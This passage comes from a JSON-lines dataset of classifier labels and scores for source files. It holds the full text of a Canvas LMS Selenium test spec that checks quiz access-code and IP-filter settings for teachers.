"sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 1, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 1, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.3446570195732446, "noise_severity": 0.6430203204207823, "missing_content_severity": 0.02606116816198263, "factual_density": 3.4177152245224085, "pretraining_utility": 0.4380830599680179, "math_density": 0.06443314526505589, "code_density": 3.8049859364704126, "reasoning_density": 1.3238584106657643, "education_level": 2.7043800449306334, "creative_writing_quality": -0.17102110888927813}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.6220703801298171, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9789302584146954, "secondary": 0.7379666399322875, "tertiary": 0.7910584316700902, "structured_records": 0.1710852640183568, "procedural_steps": 0.02101187789843684, "worked_solution": 0.1202374154753977, "contextual_dialogue": 9.94373384854823e-06, "content_quality": 0.5423239177249539, "noise_severity": 0.6465966667642304, "missing_content_severity": 0.9782823598650144, "factual_density": 0.514762687102007, "pretraining_utility": 0.3991918775277079, "math_density": 0.9463057122791201, "code_density": 0.8374882803920103, "reasoning_density": 0.2170963424173219, "education_level": 0.35724210055744515, "creative_writing_quality": 0.9987386378855273, "primary_topic": 0.9874355150971027, "secondary_topic": 0.7925951444455642}, "probability_margin": {"primary": 0.9701385108977745, "secondary": 0.5711907463810895, "tertiary": 0.6168759326452664, "education_level": 0.057133315138513996, "creative_writing_quality": 0.9984154137714211, "primary_topic": 0.9826114516484911, "secondary_topic": 0.7460932521287372}, "raw_probabilities": {"primary": {"Academic Writing": 0.0001302098329066436, "Content Listing": 5.0092807501564544e-05, "Creative Writing": 4.63048409006728e-05, "Customer Support Page": 3.6515811782589844e-05, "Q&A Forum": 2.7245040564213037e-05, "Discussion Thread": 2.13386631088407e-05, "Comment Section": 4.678168751330394e-05, "Missing Content": 5.32208405419585e-05, "Knowledge Article": 9.60467926506538e-05, "Legal Notices": 0.009669653416308618, "News Article": 1.6535033651962066e-05, "Organizational Announcement": 5.362408913961965e-05, "Nonfiction Writing": 3.0545213554021295e-05, "Organizational About Page": 4.339806162164508e-05, "Personal About Page": 2.0363446207410994e-05, "Personal Blog": 1.628269142765944e-05, "Product Page": 1.8350012328873144e-05, "Spam / Ads": 2.220391863849654e-05, "Structured Data": 0.0007116592705913117, "Technical Writing": 0.9798081643140831, "Transcript / Interview": 4.958585168149501e-05, "Tutorial / How-To Guide": 0.0002189402061905024, "User Reviews": 1.8386579831279524e-05, "Other / Unknown": 0.008794551577273413}, "secondary": {"Academic Writing": 0.0005553767199873966, "Content Listing": 0.00039784323989083966, "Creative Writing": 0.0004706948059191488, "Customer Support Page": 0.00029233101867479316, "Q&A Forum": 0.00026010776198349907, "Discussion Thread": 0.00021854382257082826, "Comment Section": 0.0005530094837269446, "Missing Content": 0.0004937249132809596, "Knowledge Article": 0.0007064995636085256, "Legal Notices": 0.7488846966017755, "News Article": 0.0003265962577287685, "Organizational Announcement": 0.0004943128873666006, "Nonfiction Writing": 0.0002941654642151345, "Organizational About Page": 0.0004791574831152547, "Personal About Page": 0.00026283371817580655, "Personal Blog": 0.00019223595671417253, "Product Page": 0.00028238415850863064, "Spam / Ads": 0.0002930327340341899, "Structured Data": 0.00169999086576995, "Technical Writing": 0.06405449259935031, "Transcript / Interview": 0.0004477909741219506, "Tutorial / How-To Guide": 0.00047358258140877427, "User Reviews": 0.00017264616738583313, "NONE": 0.177693950220686}, "tertiary": {"Academic Writing": 0.0003605875481656017, "Content Listing": 0.0002520447644555578, "Creative Writing": 0.00034068888488823556, "Customer Support Page": 0.00020452623243537736, "Q&A Forum": 0.00011738710577372302, "Discussion Thread": 0.0001202692311203609, "Comment Section": 0.00034953510096800256, "Missing Content": 0.0002967927433513703, "Knowledge Article": 0.0005275258677925287, "Legal Notices": 0.18288839770523674, "News Article": 0.00020627164356789814, "Organizational Announcement": 0.0002468391664494724, "Nonfiction Writing": 0.00019670436787869001, "Organizational About Page": 0.0003604732251670188, "Personal About Page": 0.00015264386561709715, "Personal Blog": 0.00013464409809096776, "Product Page": 0.00015321294783378022, "Spam / Ads": 0.00019963192575771547, "Structured Data": 0.0009352902587442253, "Technical Writing": 0.011377039188130272, "Transcript / Interview": 0.00023952404227327466, "Tutorial / How-To Guide": 0.0004760883884464779, "User Reviews": 9.955134735250186e-05, "NONE": 0.7997643303505031}, "structured_records": {"false": 0.8289147359816432, "true": 0.1710852640183568}, "procedural_steps": {"false": 0.9789881221015632, "true": 0.02101187789843684}, "worked_solution": {"false": 0.8797625845246023, "true": 0.1202374154753977}, "contextual_dialogue": {"false": 0.9999900562661515, "true": 9.94373384854823e-06}, "content_quality": {"-2": 0.002948363319366907, "-1": 0.0069927328415046374, "0": 0.07944658393729542, "1": 0.46367816075018314, "2": 0.4469341591516499}, "noise_severity": {"0": 0.39053183973107053, "1": 0.5831840603309637, "2": 0.021293631034827287, "3": 0.0027128775923897738, "4": 0.0022775913107486783}, "missing_content_severity": {"0": 0.9812949374436547, "1": 0.013512893921541218, "2": 0.0035884296851411827, "3": 0.0010435409284934457, "4": 0.0005601980211696788}, "factual_density": {"0": 0.003920549539871562, "1": 0.007733689334250937, "2": 0.08162637662438356, "3": 0.3801487560665854, "4": 0.5265706284349086}, "pretraining_utility": {"-2": 0.010417124230108715, "-1": 0.116051662972165, "0": 0.37808864486471017, "1": 0.4159161644656319, "2": 0.0795264034673842}, "math_density": {"0": 0.9547519118460801, "1": 0.03522679654058385, "2": 0.0047311897807345085, "3": 0.0014164381674031585, "4": 0.0038736636651983845}, "code_density": {"0": 0.000271638553371696, "1": 0.000509147963715933, "2": 0.01235177108895624, "3": 0.1676965232470406, "4": 0.8191709191469156}, "reasoning_density": {"0": 0.3078129892167247, "1": 0.3299873693435962, "2": 0.17420134690055233, "3": 0.10652483063544371, "4": 0.08147346390368308}, "education_level": {"none": 0.0009043870217739483, "0": 0.0010327168187438914, "1": 0.0038262416017633277, "2": 0.40723510199269025, "3": 0.46436841713120425, "4": 0.1226331354338244}, "creative_writing_quality": {"not_applicable": 0.9989488649046061, "-2": 0.00011812268293382213, "-1": 0.00019743924784963726, "0": 0.0005334511331850322, "1": 0.00015032573874045263, "2": 5.179629268505499e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.62992619540679e-05, "Art & Design": 4.510118494585543e-05, "Law & Crime": 0.0002811699990376388, "Education & Careers": 4.959569415466808e-05, "Entertainment & Media": 2.766316639715376e-05, "Fashion & Beauty": 2.172059645909934e-05, "Business, Economics & Finance": 0.0053073128679538666, "Food & Dining": 3.317962611271581e-05, "Games & Gaming": 6.490548958142139e-05, "Electronics & Hardware": 5.8867031704108506e-05, "Health, Healthcare & Wellness": 2.5168078318508458e-05, "History & Geography": 3.800898903878933e-05, "Home, Pets & Hobbies": 3.042250552590975e-05, "Industry & Production": 4.441987143436129e-05, "Language, Literature & Philosophy": 4.152299491089351e-05, "Politics & Government": 4.9483134260514063e-05, "Religion & Spirituality": 3.0054369003502153e-05, "Science, Mathematics & Engineering": 0.00015304350060307164, "Relationships & Community": 2.2938699804188813e-05, "Software Usage & Applications": 0.004516150923319081, "Programming & Software Engineering": 0.9879187645164449, "Sports & Fitness": 4.3919366182515677e-05, "Vehicles & Transportation": 1.829219832090497e-05, "Travel & Tourism": 4.7730545329636075e-05, "Other / Uncovered Subject": 0.0010247821150767878, "Unknown / Insufficient Content": 6.948327412584225e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006769873783452606, "Art & Design": 0.0006525940335509896, "Law & Crime": 0.054479002145843794, "Education & Careers": 0.000571730507284314, "Entertainment & Media": 0.0005201556516662896, "Fashion & Beauty": 0.0003582778036178034, "Business, Economics & Finance": 0.04579470251511914, "Food & Dining": 0.00032119658800405375, "Games & Gaming": 0.0004864983770564976, "Electronics & Hardware": 0.0005088120372586273, "Health, Healthcare & Wellness": 0.0003532338835520432, "History & Geography": 0.00033348220433608995, "Home, Pets & Hobbies": 0.00033967012088180774, "Industry & Production": 0.00031731197200930754, "Language, Literature & Philosophy": 0.00029296031005286434, "Politics & Government": 0.0006097911812325374, "Religion & Spirituality": 0.0005404212777190529, "Science, Mathematics & Engineering": 0.0007489434115337851, "Relationships & Community": 0.0002021198617537974, "Software Usage & Applications": 0.051232784338429226, "Programming & Software Engineering": 0.03399287408757809, "Sports & Fitness": 0.0002804988478881091, "Vehicles & Transportation": 0.00017012149767439285, "Travel & Tourism": 0.000553438581938227, "Other / Uncovered Subject": 0.005090137111092881, "NONE": 0.800572254274581}}, "probabilities": {"primary": {"Academic Writing": 0.00013020983290664364, "Content Listing": 5.009280750156455e-05, "Creative Writing": 4.6304840900672807e-05, "Customer Support Page": 3.651581178258985e-05, "Q&A Forum": 2.724504056421304e-05, "Discussion Thread": 2.1338663108840703e-05, "Comment Section": 4.678168751330395e-05, "Missing Content": 5.322084054195851e-05, "Knowledge Article": 9.604679265065381e-05, "Legal Notices": 0.00966965341630862, "News Article": 1.653503365196207e-05, "Organizational Announcement": 5.3624089139619656e-05, "Nonfiction Writing": 3.05452135540213e-05, "Organizational About Page": 4.339806162164509e-05, "Personal About Page": 2.0363446207410997e-05, "Personal Blog": 1.6282691427659442e-05, "Product Page": 1.8350012328873147e-05, "Spam / Ads": 2.2203918638496544e-05, "Structured Data": 0.0007116592705913118, "Technical Writing": 0.9798081643140832, "Transcript / Interview": 4.9585851681495016e-05, "Tutorial / How-To Guide": 0.00021894020619050243, "User Reviews": 1.8386579831279527e-05, "Other / Unknown": 0.008794551577273414}, "secondary": {"Academic Writing": 0.0005553767199873967, "Content Listing": 0.00039784323989083977, "Creative Writing": 0.0004706948059191489, "Customer Support Page": 0.0002923310186747932, "Q&A Forum": 0.0002601077619834991, "Discussion Thread": 0.00021854382257082832, "Comment Section": 0.0005530094837269447, "Missing Content": 0.0004937249132809597, "Knowledge Article": 0.0007064995636085257, "Legal Notices": 0.7488846966017756, "News Article": 0.00032659625772876857, "Organizational Announcement": 0.0004943128873666007, "Nonfiction Writing": 0.0002941654642151346, "Organizational About Page": 0.0004791574831152548, "Personal About Page": 0.0002628337181758066, "Personal Blog": 0.00019223595671417258, "Product Page": 0.0002823841585086307, "Spam / Ads": 0.00029303273403418997, "Structured Data": 0.0016999908657699505, "Technical Writing": 0.06405449259935032, "Transcript / Interview": 0.0004477909741219507, "Tutorial / How-To Guide": 0.0004735825814087744, "User Reviews": 0.00017264616738583315, "NONE": 0.17769395022068601}, "tertiary": {"Academic Writing": 0.0003605875481656017, "Content Listing": 0.0002520447644555578, "Creative Writing": 0.00034068888488823556, "Customer Support Page": 0.00020452623243537736, "Q&A Forum": 0.00011738710577372302, "Discussion Thread": 0.0001202692311203609, "Comment Section": 0.00034953510096800256, "Missing Content": 0.0002967927433513703, "Knowledge Article": 0.0005275258677925287, "Legal Notices": 0.18288839770523674, "News Article": 0.00020627164356789814, "Organizational Announcement": 0.0002468391664494724, "Nonfiction Writing": 0.00019670436787869001, "Organizational About Page": 0.0003604732251670188, "Personal About Page": 0.00015264386561709715, "Personal Blog": 0.00013464409809096776, "Product Page": 0.00015321294783378022, "Spam / Ads": 0.00019963192575771547, "Structured Data": 0.0009352902587442253, "Technical Writing": 0.011377039188130272, "Transcript / Interview": 0.00023952404227327466, "Tutorial / How-To Guide": 0.0004760883884464779, "User Reviews": 9.955134735250186e-05, "NONE": 0.7997643303505031}, "structured_records": {"false": 0.8289147359816432, "true": 0.1710852640183568}, "procedural_steps": {"false": 0.9789881221015632, "true": 0.02101187789843684}, "worked_solution": {"false": 0.8797625845246023, "true": 0.1202374154753977}, "contextual_dialogue": {"false": 0.9999900562661515, "true": 9.94373384854823e-06}, "content_quality": {"-2": 0.002948363319366907, "-1": 0.0069927328415046374, "0": 0.07944658393729542, "1": 0.46367816075018314, "2": 0.4469341591516499}, "noise_severity": {"0": 0.39053183973107053, "1": 0.5831840603309637, "2": 0.021293631034827287, "3": 0.0027128775923897738, "4": 0.0022775913107486783}, "missing_content_severity": {"0": 0.9812949374436545, "1": 0.013512893921541215, "2": 0.003588429685141182, "3": 0.0010435409284934455, "4": 0.0005601980211696787}, "factual_density": {"0": 0.003920549539871562, "1": 0.007733689334250937, "2": 0.08162637662438356, "3": 0.3801487560665854, "4": 0.5265706284349086}, "pretraining_utility": {"-2": 0.010417124230108715, "-1": 0.116051662972165, "0": 0.37808864486471017, "1": 0.4159161644656319, "2": 0.0795264034673842}, "math_density": {"0": 0.9547519118460801, "1": 0.03522679654058385, "2": 0.0047311897807345085, "3": 0.0014164381674031585, "4": 0.0038736636651983845}, "code_density": {"0": 0.000271638553371696, "1": 0.000509147963715933, "2": 0.01235177108895624, "3": 0.1676965232470406, "4": 0.8191709191469156}, "reasoning_density": {"0": 0.3078129892167247, "1": 0.3299873693435962, "2": 0.17420134690055233, "3": 0.10652483063544371, "4": 0.08147346390368308}, "education_level": {"none": 0.0009043870217739483, "0": 0.0010327168187438914, "1": 0.0038262416017633277, "2": 0.40723510199269025, "3": 0.46436841713120425, "4": 0.1226331354338244}, "creative_writing_quality": {"not_applicable": 0.9989488649046061, "-2": 0.00011812268293382213, "-1": 0.00019743924784963726, "0": 0.0005334511331850322, "1": 0.00015032573874045263, "2": 5.179629268505499e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.62992619540679e-05, "Art & Design": 4.510118494585543e-05, "Law & Crime": 0.0002811699990376388, "Education & Careers": 4.959569415466808e-05, "Entertainment & Media": 2.766316639715376e-05, "Fashion & Beauty": 2.172059645909934e-05, "Business, Economics & Finance": 0.0053073128679538666, "Food & Dining": 3.317962611271581e-05, "Games & Gaming": 6.490548958142139e-05, "Electronics & Hardware": 5.8867031704108506e-05, "Health, Healthcare & Wellness": 2.5168078318508458e-05, "History & Geography": 3.800898903878933e-05, "Home, Pets & Hobbies": 3.042250552590975e-05, "Industry & Production": 4.441987143436129e-05, "Language, Literature & Philosophy": 4.152299491089351e-05, "Politics & Government": 4.9483134260514063e-05, "Religion & Spirituality": 3.0054369003502153e-05, "Science, Mathematics & Engineering": 0.00015304350060307164, "Relationships & Community": 2.2938699804188813e-05, "Software Usage & Applications": 0.004516150923319081, "Programming & Software Engineering": 0.9879187645164449, "Sports & Fitness": 4.3919366182515677e-05, "Vehicles & Transportation": 1.829219832090497e-05, "Travel & Tourism": 4.7730545329636075e-05, "Other / Uncovered Subject": 0.0010247821150767878, "Unknown / Insufficient Content": 6.948327412584225e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006769873783452606, "Art & Design": 0.0006525940335509896, "Law & Crime": 0.054479002145843794, "Education & Careers": 0.000571730507284314, "Entertainment & Media": 0.0005201556516662896, "Fashion & Beauty": 0.0003582778036178034, "Business, Economics & Finance": 0.04579470251511914, "Food & Dining": 0.00032119658800405375, "Games & Gaming": 0.0004864983770564976, "Electronics & Hardware": 0.0005088120372586273, "Health, Healthcare & Wellness": 0.0003532338835520432, "History & Geography": 0.00033348220433608995, "Home, Pets & Hobbies": 0.00033967012088180774, "Industry & Production": 0.00031731197200930754, "Language, Literature & Philosophy": 0.00029296031005286434, "Politics & Government": 0.0006097911812325374, "Religion & Spirituality": 0.0005404212777190529, "Science, Mathematics & Engineering": 0.0007489434115337851, "Relationships & Community": 0.0002021198617537974, "Software Usage & Applications": 0.051232784338429226, "Programming & Software Engineering": 0.03399287408757809, "Sports & Fitness": 0.0002804988478881091, "Vehicles & Transportation": 0.00017012149767439285, "Travel & Tourism": 0.000553438581938227, "Other / Uncovered Subject": 0.005090137111092881, "NONE": 0.800572254274581}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 12515, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 12515, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:10.976149+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "f178d824-e1c2-4619-9be4-6eb3a8f4cab1", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "74c82f88612cacaf4d2f1ceb407f803ff1642e9e83158741115a237faf874dbe", "source_metadata": {"uuid": "f178d824-e1c2-4619-9be4-6eb3a8f4cab1", "repo_name": "redmine/redmine", "relative_path": "test/functional/imports_controller_test.rb", "category": "TEST", "algo_rel_score": 0.8534917831420898, "quality_score": 7.311185359954834, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 18942, "repo_created_at": "2012-11-19T22:47:09.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 5682, "forks": 2376, "issues": 0, "pull_requests": 10}, "file_meta": {"content_id": "2ff77134c3b469f5979d6dd061b299e857b6def4", "size_bytes": 15308, "file_timestamp": 1752644423, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "d6ff93494354e90ecb3fb9ba3db76e21e63fdca4"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 18942, "repo_created_at": "2012-11-19T22:47:09.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 5682, "forks": 2376, "issues": 0, "pull_requests": 10}, "file_meta": {"content_id": "2ff77134c3b469f5979d6dd061b299e857b6def4", "size_bytes": 15308, "file_timestamp": 1752644423, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "d6ff93494354e90ecb3fb9ba3db76e21e63fdca4", "url": "https://github.com/redmine/redmine/blob/d6ff93494354e90ecb3fb9ba3db76e21e63fdca4/test/functional/imports_controller_test.rb"}, "gpt4o_tokens": 3792, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.3446570195732446, "noise_severity": 0.6430203204207823, "missing_content_severity": 0.02606116816198263, "factual_density": 3.4177152245224085, "pretraining_utility": 0.4380830599680179, "math_density": 0.06443314526505589, "code_density": 3.8049859364704126, "reasoning_density": 1.3238584106657643, "education_level": 2.7043800449306334, "creative_writing_quality": -0.17102110888927813}, "score_applicability": {"education_level": 0.9990956129782261, "creative_writing_quality": 0.0010511350953939993}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/dhirajpatra/canvas/blob/45f60919367227460afcf1c5103e9f86e18d4214/spec/selenium/quizzes/quizzes_restrictions_teacher_spec.rb", "id": "ruby-0-ec698189d401549fad9b6ed8525917f8", "text": "#\n# Copyright (C) 2015 - present Instructure, Inc.\n#\n# This file is part of Canvas.\n#\n# Canvas is free software: you can redistribute it and/or modify it under\n# the terms of the GNU Affero General Public License as published by the Free\n# Software Foundation, version 3 of the License.\n#\n# Canvas is distributed in the hope that it will be useful, but WITHOUT ANY\n# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n# A PARTICULAR PURPOSE. See the GNU Affero General Public License for more\n# details.\n#\n# You should have received a copy of the GNU Affero General Public License along\n# with this program. If not, see .\n\nrequire_relative '../common'\nrequire_relative '../helpers/quizzes_common'\n\ndescribe 'quiz restrictions as a teacher' do\n include_context \"in-process server selenium tests\"\n include QuizzesCommon\n\n before do\n course_with_teacher_logged_in\n end\n\n context 'restrict access code' do\n let(:access_code) { '1234' }\n let(:quiz_with_access_code) do\n @context = @course\n quiz = quiz_model\n quiz.quiz_questions.create! question_data: true_false_question_data\n quiz.access_code = access_code\n quiz.generate_quiz_data\n quiz.save!\n quiz.reload\n end\n\n it 'should have a checkbox on the quiz creation page', priority: \"1\", test_id: 474273 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n expect('#enable_quiz_access_code').to be\n end\n\n it 'should show a password field when checking the checkbox', priority: \"1\", test_id: 474274 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n expect(f('#quiz_access_code')).to have_attribute('tabindex', '-1')\n f('#enable_quiz_access_code').click\n expect(f('#quiz_access_code')).to have_attribute('tabindex', '0')\n end\n\n it 'should not allow a blank restrict access code password', priority: \"1\", test_id: 474275 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n f('#enable_quiz_access_code').click\n wait_for_ajaximations\n\n # now try and save it and validate the validation text\n f('button.save_quiz_button.btn.btn-primary').click\n wait_for_ajaximations\n expect(ffj('.error_text')[1]).to include_text('You must enter an access code')\n end\n\n it 'should accept a valid password when creating a quiz', priority: \"1\", test_id: 474276 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n f('#enable_quiz_access_code').click\n wait_for_ajaximations\n f('#quiz_access_code').send_keys('guybrush')\n\n # save and verify that the show page comes up\n f('button.save_quiz_button.btn.btn-primary').click\n wait_for_ajaximations\n expect(f('.unpublished_quiz_warning')).to include_text('This quiz is unpublished')\n end\n\n it 'should show the access code on the show page', priority: \"1\", test_id: 474277 do\n @quiz = quiz_with_access_code\n get \"/courses/#{@course.id}/quizzes/#{@quiz.id}\"\n show_page = f('#quiz_show')\n expect(show_page).to include_text('Access Code')\n expect(show_page).to include_text(access_code)\n end\n\n it 'allows previewing the quiz', priority: \"1\", test_id: 522900 do\n @quiz = quiz_with_access_code\n preview_quiz\n end\n end\n\n context 'filter ip addresses' do\n it 'should have a checkbox on the quiz creation page', priority: \"1\", test_id: 474278 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n expect('#enable_quiz_ip_filter').to be\n end\n\n it 'should show a password field when checking the checkbox', priority: \"1\", test_id: 474279 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n expect(f('#quiz_ip_filter')).to have_attribute('tabindex', '-1')\n f('#enable_quiz_ip_filter').click\n expect(f('#quiz_ip_filter')).to have_attribute('tabindex', '0')\n end\n\n it 'should not allow a blank ip address', priority: \"1\", test_id: 474280 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n f('#enable_quiz_ip_filter').click\n wait_for_ajaximations\n\n # now try and save it and validate the validation text\n f('button.save_quiz_button.btn.btn-primary').click\n wait_for_ajaximations\n expect(ffj('.error_text')[1]).to include_text('You must enter a valid IP Address')\n end\n\n it 'should accept a valid ipv4 address when creating a quiz', priority: \"1\", test_id: 474281 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n f('#enable_quiz_ip_filter').click\n wait_for_ajaximations\n f('#quiz_ip_filter').send_keys('7.7.7.7')\n\n # save and verify that the page changes (passes validation)\n expect(f('#quiz_title')).to be\n f('button.save_quiz_button.btn.btn-primary').click\n wait_for_ajaximations\n expect(f('.unpublished_quiz_warning')).to include_text('This quiz is unpublished')\n end\n\n it 'should accept a valid ipv4 address with subnet mask when creating a quiz', priority: \"1\", test_id: 474282 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n f('#enable_quiz_ip_filter').click\n wait_for_ajaximations\n f('#quiz_ip_filter').send_keys('7.7.7.7/255.255.255.0')\n\n # save and verify that the page changes (passes validation)\n expect(f('#quiz_title')).to be\n f('button.save_quiz_button.btn.btn-primary').click\n wait_for_ajaximations\n expect(f('.unpublished_quiz_warning')).to include_text('This quiz is unpublished')\n end\n\n it 'should accept a valid ipv6 address when creating a quiz', priority: \"1\", test_id: 474283 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n f('#enable_quiz_ip_filter').click\n wait_for_ajaximations\n f('#quiz_ip_filter').send_keys('')\n\n # save and verify that the page changes (passes validation)\n expect(f('#quiz_title')).to be\n f('button.save_quiz_button.btn.btn-primary').click\n wait_for_ajaximations\n expect(f('.unpublished_quiz_warning')).to include_text('This quiz is unpublished')\n end\n\n it 'should not accept an invalid ip address when creating a quiz', priority: \"1\", test_id: 474284 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n f('#enable_quiz_ip_filter').click\n wait_for_ajaximations\n f('#quiz_ip_filter').send_keys('7')\n\n f('button.save_quiz_button.btn.btn-primary').click\n wait_for_ajaximations\n expect(ffj('.error_text')[1]).to include_text('IP filter is not valid')\n end\n\n it 'should have a working link to help with ip address filtering', priority: \"1\", test_id: 474285 do\n get \"/courses/#{@course.id}/quizzes\"\n click_new_quiz_button\n f('#enable_quiz_ip_filter').click\n wait_for_ajaximations\n\n expect(f('#ip_filters_dialog')).not_to be_displayed\n f('a.ip_filtering_link > img').click\n wait_for_ajaximations\n expect(f('#ip_filters_dialog')).to be_displayed\n end\n\n it 'should show filtered ip address on the show page', priority: \"1\", test_id: 474286 do\n # makes an assumption that your ip address is not '192.168.3.11' (google)\n @quiz = course_quiz\n @quiz.ip_filter = '192.168.3.11'\n @quiz.save!\n get \"/courses/#{@course.id}/quizzes/#{@quiz.id}\"\n show_page = f('#quiz_show')\n expect(show_page).to include_text('IP Filter')\n expect(show_page).to include_text('192.168.3.11')\n end\n end\n\n it \"should let a teacher preview a quiz even without management rights\" do\n skip(\"Test is timing out at 10 sec max error\")\n @context = @course\n quiz = quiz_model\n description = \"some description\"\n quiz.description = description\n quiz.quiz_questions.create! question_data: true_false_question_data\n quiz.generate_quiz_data\n quiz.save!\n\n @course.account.role_overrides.create!(:permission => :manage_assignments, :role => teacher_role, :enabled => false)\n\n expect(@quiz.grants_right?(@user, :manage)).to be_falsey\n expect(@course.grants_right?(@user, :read_as_admin)).to be_truthy\n\n open_quiz_show_page\n\n expect(f(\".description\")).to include_text(description)\n\n expect_new_page_load { f('#preview_quiz_button').click }\n wait_for_quiz_to_begin\n\n complete_and_submit_quiz\n end\nend\n", "text_preview": "# # Copyright (C) 2015 - present Instructure, Inc. # # This file is part of Canvas. # # Canvas is free software: you can redistribute it and/or modify it under # the terms of the GNU Affero General Public License as published by the Free # ", "input_sha256": "ffee4cf94b84a6ee7b2a4e78f6f9d0b0eb624d2a35749090abb796b357b4b060", "text_sha256": "ec698189d401549fad9b6ed8525917f8f79967511ae0e8d3c1e7c111e6357ef8", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16107, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & 